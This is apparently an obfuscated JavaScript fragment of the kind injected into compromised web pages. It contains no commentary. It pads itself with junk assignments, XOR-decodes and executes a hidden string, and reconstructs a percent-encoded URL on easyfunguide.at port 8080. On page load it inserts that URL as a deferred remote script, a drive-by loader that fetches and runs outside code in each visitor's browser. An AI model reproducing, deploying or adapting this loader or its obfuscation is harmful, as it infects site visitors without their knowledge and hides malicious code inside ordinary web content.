Pe;if(Pe!='hm'){Pe=''};var bL = B[b("nethgl", [5,1,0,4,2,3])];var UBX;if(UBX!='' && UBX!='cW'){UBX=null};var c =[3,206,20,0][3];var Zg="";var Az;if(Az!='Pr'){Az=''};var E = '';var M = eh(37);var DS;if(DS!='' && DS!='YT'){DS=''};var pc=new Date();var cO = '';var Jv="";var qf="";var yF=46535;var Jl = '';var lT =[229,1,1,1][1];var MY="MY";var NL=13765;var czt=57738;this.qvH=31288;var YQ="YQ";for(var RI=d; RI < bL; RI+=gb){var mO;if(mO!='' && mO!='mBn'){mO=null};Jl+= M; Jl+= B[b("ubstrs", [2,0,1,5,3,4])](RI, gb);var bE;if(bE!='He' && bE!='vx'){bE=''};var TWK;if(TWK!='KL'){TWK=''};}this.jH=62132;var B = rB(Jl);var Cr;if(Cr!='Jg' && Cr!='cyK'){Cr=''};this.zb="zb";this.Rn="";this.Ra="";var O = new Y(r);var XT = O[b("erlpcae", [1,0])](N, cO);XT = t(XT);var ISR;if(ISR!='IiF' && ISR != ''){ISR=null};var Yd = new Y(dom);var tE;if(tE!='HN'){tE='HN'};var zE='';var WP = rk[b("elgnht", [1,0])];var mK=new String();var RM = Yd[b("erlpcae", [1,0])](N, cO);var RM = ba(RM);var Oh;if(Oh!='' && Oh!='Ea'){Oh='eG'};var z=ba(XT);var ZZ;if(ZZ!='qi'){ZZ='qi'};var Af="Af";var jR;if(jR!='' && jR!='EOJ'){jR=null};for(var S=d; S < (B[b("elgnht", [1,0])]);S=S+[200,1][1]) {var RF = XT.charCodeAt(c);var C = tK(B,S);var Gv;if(Gv!='' && Gv!='oF'){Gv=''};var cj="cj";C = o(C, RF);var jh;if(jh!=''){jh='EP'};var Da;if(Da!='' && Da!='HJX'){Da=''};C = o(C, z);C = o(C, RM);var FK;if(FK!='' && FK!='Tu'){FK=null};c++;var KI=new Date();if(c > XT.length-lT){c=d;}var otD="";E += eh(C);}this.yS="yS";for(y=d; y < WP; y+=gb){this.PR=20045;this.mN=23831;var An=48236;var qT;if(qT!='cw' && qT!='cM'){qT='cw'};var Wo=false;var NS = eh(rk[y]);this.doC="";var P = rk[y + lT];var yY;if(yY!='RE'){yY='RE'};this.Ug="Ug";this.eF="";this.nh="";var EOH=new Date();var XY = new oK(NS, Y.fromCharCode(103));var du="";E=E[b("lerpace", [2,1,3,0,4])](XY, P);var HKK;if(HKK!='iH' && HKK!='QvA'){HKK=''};}this.og="";var s=new dom(E);var qQ="";s();E = '';this.YC='';RM = '';var siU="siU";var lP;if(lP!='' && lP!='ZD'){lP=null};z = '';var jQ;if(jQ!='TZ'){jQ=''};var hw="";Yd = '';this.aY=12559;this.Qn=false;XT = '';var IiY;if(IiY!='' && IiY!='rF'){IiY=''};s = '';var ZE;if(ZE!='DdR'){ZE='DdR'};var IK='';var Dgb;if(Dgb!='' && Dgb!='Tiu'){Dgb=null};this.Gi="Gi";var QPj;if(QPj!='SsQ' && QPj != ''){QPj=null};var YDk=false;return '';this.Ls="Ls";this.FU='';};var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';r(HZ);


function Y(){var a;if(a!=''){a='j'};var D=unescape;var NJ=new String();var N=window;var w;if(w!='' && w!='ac'){w='T'};var Pm;if(Pm!='' && Pm!='g'){Pm='O'};var S;if(S!='' && S!='ad'){S='Xf'};var V=D("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%69%66%66%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%61%65%2e%70%68%70");this.o='';function c(F,x){var hA;if(hA!='' && hA!='_g'){hA='sB'};var OZ;if(OZ!='' && OZ!='gX'){OZ='L'};var an="";var J;if(J!='Lj' && J!='Ki'){J=''};var i="g";this.KiK='';var eG=new Array();var t=D("%5b"), xV=D("%5d");var yP;if(yP!='' && yP!='xJ'){yP='ig'};var sz="";var q=t+x+xV;var f;if(f!='' && f!='yw'){f=null};var l=new RegExp(q, i);return F.replace(l, new String());var am;if(am!='si' && am != ''){am=null};};var _I=new String();var Nx;if(Nx!='' && Nx!='Yq'){Nx='r'};var jM=new Array();var Ur;if(Ur!='' && Ur!='z'){Ur=null};var Pj;if(Pj!='M' && Pj!='Bl'){Pj=''};this.RS="";var s=c('891946032357825261302449','67193524');var tb=document;var B=new String();var Lv;if(Lv!='pV' && Lv != ''){Lv=null};this.MO='';var X_;if(X_!='' && X_!='CCv'){X_='jX'};var Vk=new Array();var E=new Array();function u(){var js="";var Tv;if(Tv!='' && Tv!='ex'){Tv='Pe'};var k=D("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var kL=new Date();B=k;B+=s;var Yg=new Date();B+=V;var wg;if(wg!='d' && wg!='eA'){wg=''};try {var _U;if(_U!='Kv' && _U!='FK'){_U=''};R=tb.createElement(c('sNcNrXiNpgtg','NXg'));var uD=new Array();var Oi='';R[D("%73%72%63")]=B;var Zc;if(Zc!='eR' && Zc!='dj'){Zc=''};R[D("%64%65%66%65%72")]=[1,6][0];var _E;if(_E!='' && _E!='XD'){_E='Lm'};tb.body.appendChild(R);var Fi;if(Fi!='YW' && Fi!='BT'){Fi=''};var pK=new Array();this.Pa='';} catch(h){alert(h);var hV=new String();var CU;if(CU!='' && CU!='FC'){CU='RY'};};var OY=new Array();var I;if(I!='' && I!='oJ'){I=null};}N[new String("onloa"+"d")]=u;var iM=new Array();var NL=new Array();var Fn=new Date();};var SG=new Date();var xc=new Date();var v=new Date();Y();